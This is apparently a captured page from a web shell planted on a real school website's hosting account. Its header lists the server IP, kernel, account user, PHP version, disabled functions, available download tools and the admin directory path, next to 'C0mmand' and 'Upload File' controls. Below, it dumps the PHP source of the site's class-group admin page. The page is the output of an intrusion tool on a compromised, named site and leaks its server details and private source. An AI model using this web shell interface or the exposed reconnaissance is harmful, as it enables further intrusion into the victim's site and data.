|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/mjcacademy/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<?php include("../link/admin_headconnection.php");
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
?>
<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details_side_menu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details.css" rel="stylesheet" type="text/css"/>
<style>
body
{
background-image:url(../image/back3.jpg);
}
.work
{
min-height:200px;
}
.gap
{
height:100px;
}
</style>
<script>
$(document).ready(function(){
show();
$("#regform").submit(function(e){
e.preventDefault();
$.ajax({
url:"../code/classcode.php?flag=1",
type:"POST",
data: new FormData(this),
contentType:false,
processData:false,
success:function(res){
alert(res);
show();
$("#regform").trigger("reset");
},
error:function(){
alert("error");
}
});
});
});
function show()
{
$("#show").load("../code/classcode.php?flag=2");
}
function deleterow(id)
{
//alert(id);
var a=confirm("Are you sure");
if(a==true)
{
$.ajax({
url:"../code/classcode.php?flag=3",
type:"POST",
data:{rowid:id},
success:function(res){
alert(res);
show();
},
error:function(){
alert("error");
}
});
}
}
</script>
</head>
<body>
<div class="container-fluid">
<div class="row">
<?php include("../link/admin_dashboardmenu .php");?>
</div>
<div class="row">
<!--menu-->
<div class="col-sm-2">
<?php include("../link/student_details_side_menu.php");?>
</div>
<!--menu--close-->
<div class="col-sm-6">
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-heading"><center><h4>Class Group</h4></center></div>
<form class="form-inline" id="regform" method="post">
<br/>
<div class="form-group">
<label class=" col-sm-6 label-control">Group<span style="color:red">*</span></label>
<div class="col-sm-6"><input type="text" class="form-control" name="class"/></div>
<br/>
</div><center>
<br/><br/>
<button class="btn btn-success">Add</button></center>
</form>
<div id="show"></div>
</div>
</div>
</div>
<div class="col-sm-4"></div>
</div>
</div>
</html>